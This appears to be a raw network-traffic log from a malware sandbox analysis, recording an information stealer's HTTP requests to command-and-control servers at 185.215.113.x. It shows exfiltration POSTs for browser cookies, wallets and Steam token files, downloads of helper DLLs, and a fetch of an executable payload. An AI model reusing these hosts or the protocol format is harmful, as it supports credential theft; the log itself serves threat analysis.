Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHIECGCBKFHIEBGHDBKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 62 30 65 34 61 62 33 33 35 63 31 35 39 61 34 38 61 63 35 39 65 63 30 64 30 36 63 35 31 38 36 64 38 30 65 31 39 33 61 37 35 63 62 37 37 64 36 65 64 36 30 62 33 34 64 61 34 66 62 32 33 30 61 66 66 66 65 33 66 63 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 45 43 47 43 42 4b 46 48 49 45 42 47 48 44 42 4b 2d 2d 0d 0a Data Ascii: ------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="token"62b0e4ab335c159a48ac59ec0d06c5186d80e193a75cb77d6ed60b34da4fb230afffe3fc------DGHIECGCBKFHIEBGHDBKContent-Disposition: form-data; name="message"browsers------DGHIECGCBKFHIEBGHDBK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBFIDBFHDBGIDHJJEGHIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 46 49 44 42 46 48 44 42 47 49 44 48 4a 4a 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 62 30 65 34 61 62 33 33 35 63 31 35 39 61 34 38 61 63 35 39 65 63 30 64 30 36 63 35 31 38 36 64 38 30 65 31 39 33 61 37 35 63 62 37 37 64 36 65 64 36 30 62 33 34 64 61 34 66 62 32 33 30 61 66 66 66 65 33 66 63 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 44 42 46 48 44 42 47 49 44 48 4a 4a 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 49 44 42 46 48 44 42 47 49 44 48 4a 4a 45 47 48 49 2d 2d 0d 0a Data Ascii: ------FBFIDBFHDBGIDHJJEGHIContent-Disposition: form-data; name="token"62b0e4ab335c159a48ac59ec0d06c5186d80e193a75cb77d6ed60b34da4fb230afffe3fc------FBFIDBFHDBGIDHJJEGHIContent-Disposition: form-data; name="message"plugins------FBFIDBFHDBGIDHJJEGHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDBAFIIECBFHIEBKJJKHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 62 30 65 34 61 62 33 33 35 63 31 35 39 61 34 38 61 63 35 39 65 63 30 64 30 36 63 35 31 38 36 64 38 30 65 31 39 33 61 37 35 63 62 37 37 64 36 65 64 36 30 62 33 34 64 61 34 66 62 32 33 30 61 66 66 66 65 33 66 63 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 42 41 46 49 49 45 43 42 46 48 49 45 42 4b 4a 4a 4b 2d 2d 0d 0a Data Ascii: ------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="token"62b0e4ab335c159a48ac59ec0d06c5186d80e193a75cb77d6ed60b34da4fb230afffe3fc------GHDBAFIIECBFHIEBKJJKContent-Disposition: form-data; name="message"fplugins------GHDBAFIIECBFHIEBKJJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEBGHCFCAAFIECAFIIIHost: 185.215.113.206Content-Length: 6375Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBGHIDGDGHCBGDGCBFIHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 62 30 65 34 61 62 33 33 35 63 31 35 39 61 34 38 61 63 35 39 65 63 30 64 30 36 63 35 31 38 36 64 38 30 65 31 39 33 61 37 35 63 62 37 37 64 36 65 64 36 30 62 33 34 64 61 34 66 62 32 33 30 61 66 66 66 65 33 66 63 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 48 49 44 47 44 47 48 43 42 47 44 47 43 42 46 49 2d 2d 0d 0a Data Ascii: ------HDBGHIDGDGHCBGDGCBFIContent-Disposition: form-data; name="token"62b0e4ab335c159a48ac59ec0d06c5186d80e193a75cb77d6ed60b34da4fb230afffe3fc------HDBGHIDGDGHCBGDGCBFIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------HDBGHIDGDGHCBGDGCBFIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HDBGHIDGDGHCBGDGCBFI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBGHCGCAEBFIJKFIDBGHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 62 30 65 34 61 62 33 33 35 63 31 35 39 61 34 38 61 63 35 39 65 63 30 64 30 36 63 35 31 38 36 64 38 30 65 31 39 33 61 37 35 63 62 37 37 64 36 65 64 36 30 62 33 34 64 61 34 66 62 32 33 30 61 66 66 66 65 33 66 63 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 42 47 48 43 47 43 41 45 42 46 49 4a 4b 46 49 44 42 47 48 2d 2d 0d 0a Data Ascii: ------FBGHCGCAEBFIJKFIDBGHContent-Disposition: form-data; name="token"62b0e4ab335c159a48ac59ec0d06c5186d80e193a75cb77d6ed60b34da4fb230afffe3fc------FBGHCGCAEBFIJKFIDBGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FBGHCGCAEBFIJKFIDBGHContent-Disposition: form-data; name="file"------FBGHCGCAEBFIJKFIDBGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEBKJDAFHJDGDHJKKEGHost: 185.215.113.206Content-Length: 431Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 62 30 65 34 61 62 33 33 35 63 31 35 39 61 34 38 61 63 35 39 65 63 30 64 30 36 63 35 31 38 36 64 38 30 65 31 39 33 61 37 35 63 62 37 37 64 36 65 64 36 30 62 33 34 64 61 34 66 62 32 33 30 61 66 66 66 65 33 66 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 42 4b 4a 44 41 46 48 4a 44 47 44 48 4a 4b 4b 45 47 2d 2d 0d 0a Data Ascii: ------KJEBKJDAFHJDGDHJKKEGContent-Disposition: form-data; name="token"62b0e4ab335c159a48ac59ec0d06c5186d80e193a75cb77d6ed60b34da4fb230afffe3fc------KJEBKJDAFHJDGDHJKKEGContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------KJEBKJDAFHJDGDHJKKEGContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------KJEBKJDAFHJDGDHJKKEG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFHJJJKKFHIDAAKFBFBFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 62 30 65 34 61 62 33 33 35 63 31 35 39 61 34 38 61 63 35 39 65 63 30 64 30 36 63 35 31 38 36 64 38 30 65 31 39 33 61 37 35 63 62 37 37 64 36 65 64 36 30 62 33 34 64 61 34 66 62 32 33 30 61 66 66 66 65 33 66 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 2d 2d 0d 0a Data Ascii: ------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="token"62b0e4ab335c159a48ac59ec0d06c5186d80e193a75cb77d6ed60b34da4fb230afffe3fc------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="file"------KFHJJJKKFHIDAAKFBFBF--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKJKEBKFCAAECAAAAAECHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDAKJJDBGCAKKFHIJEGHHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 62 30 65 34 61 62 33 33 35 63 31 35 39 61 34 38 61 63 35 39 65 63 30 64 30 36 63 35 31 38 36 64 38 30 65 31 39 33 61 37 35 63 62 37 37 64 36 65 64 36 30 62 33 34 64 61 34 66 62 32 33 30 61 66 66 66 65 33 66 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 4a 44 42 47 43 41 4b 4b 46 48 49 4a 45 47 48 2d 2d 0d 0a Data Ascii: ------JDAKJJDBGCAKKFHIJEGHContent-Disposition: form-data; name="token"62b0e4ab335c159a48ac59ec0d06c5186d80e193a75cb77d6ed60b34da4fb230afffe3fc------JDAKJJDBGCAKKFHIJEGHContent-Disposition: form-data; name="message"wallets------JDAKJJDBGCAKKFHIJEGH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDBAFIECGHCBFIDGDAAHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 62 30 65 34 61 62 33 33 35 63 31 35 39 61 34 38 61 63 35 39 65 63 30 64 30 36 63 35 31 38 36 64 38 30 65 31 39 33 61 37 35 63 62 37 37 64 36 65 64 36 30 62 33 34 64 61 34 66 62 32 33 30 61 66 66 66 65 33 66 63 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 42 41 46 49 45 43 47 48 43 42 46 49 44 47 44 41 41 2d 2d 0d 0a Data Ascii: ------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="token"62b0e4ab335c159a48ac59ec0d06c5186d80e193a75cb77d6ed60b34da4fb230afffe3fc------HJDBAFIECGHCBFIDGDAAContent-Disposition: form-data; name="message"files------HJDBAFIECGHCBFIDGDAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHCGDAFBKFIDHJJJDHCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 43 47 44 41 46 42 4b 46 49 44 48 4a 4a 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 62 30 65 34 61 62 33 33 35 63 31 35 39 61 34 38 61 63 35 39 65 63 30 64 30 36 63 35 31 38 36 64 38 30 65 31 39 33 61 37 35 63 62 37 37 64 36 65 64 36 30 62 33 34 64 61 34 66 62 32 33 30 61 66 66 66 65 33 66 63 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 43 47 44 41 46 42 4b 46 49 44 48 4a 4a 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 43 47 44 41 46 42 4b 46 49 44 48 4a 4a 4a 44 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 43 47 44 41 46 42 4b 46 49 44 48 4a 4a 4a 44 48 43 2d 2d 0d 0a Data Ascii: ------IDHCGDAFBKFIDHJJJDHCContent-Disposition: form-data; name="token"62b0e4ab335c159a48ac59ec0d06c5186d80e193a75cb77d6ed60b34da4fb230afffe3fc------IDHCGDAFBKFIDHJJJDHCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IDHCGDAFBKFIDHJJJDHCContent-Disposition: form-data; name="file"------IDHCGDAFBKFIDHJJJDHC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDHIDBFBFHIJKFHCGIEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 62 30 65 34 61 62 33 33 35 63 31 35 39 61 34 38 61 63 35 39 65 63 30 64 30 36 63 35 31 38 36 64 38 30 65 31 39 33 61 37 35 63 62 37 37 64 36 65 64 36 30 62 33 34 64 61 34 66 62 32 33 30 61 66 66 66 65 33 66 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 2d 2d 0d 0a Data Ascii: ------JJDHIDBFBFHIJKFHCGIEContent-Disposition: form-data; name="token"62b0e4ab335c159a48ac59ec0d06c5186d80e193a75cb77d6ed60b34da4fb230afffe3fc------JJDHIDBFBFHIJKFHCGIEContent-Disposition: form-data; name="message"ybncbhylepme------JJDHIDBFBFHIJKFHCGIE--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEBFHJKJEBFCBFHDAEGHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 62 30 65 34 61 62 33 33 35 63 31 35 39 61 34 38 61 63 35 39 65 63 30 64 30 36 63 35 31 38 36 64 38 30 65 31 39 33 61 37 35 63 62 37 37 64 36 65 64 36 30 62 33 34 64 61 34 66 62 32 33 30 61 66 66 66 65 33 66 63 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 42 46 48 4a 4b 4a 45 42 46 43 42 46 48 44 41 45 47 2d 2d 0d 0a Data Ascii: ------DAEBFHJKJEBFCBFHDAEGContent-Disposition: form-data; name="token"62b0e4ab335c159a48ac59ec0d06c5186d80e193a75cb77d6ed60b34da4fb230afffe3fc------DAEBFHJKJEBFCBFHDAEGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DAEBFHJKJEBFCBFHDAEG--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 42 32 37 37 30 42 39 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78BB2770B95182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 42 32 37 37 30 42 39 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78BB2770B95182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
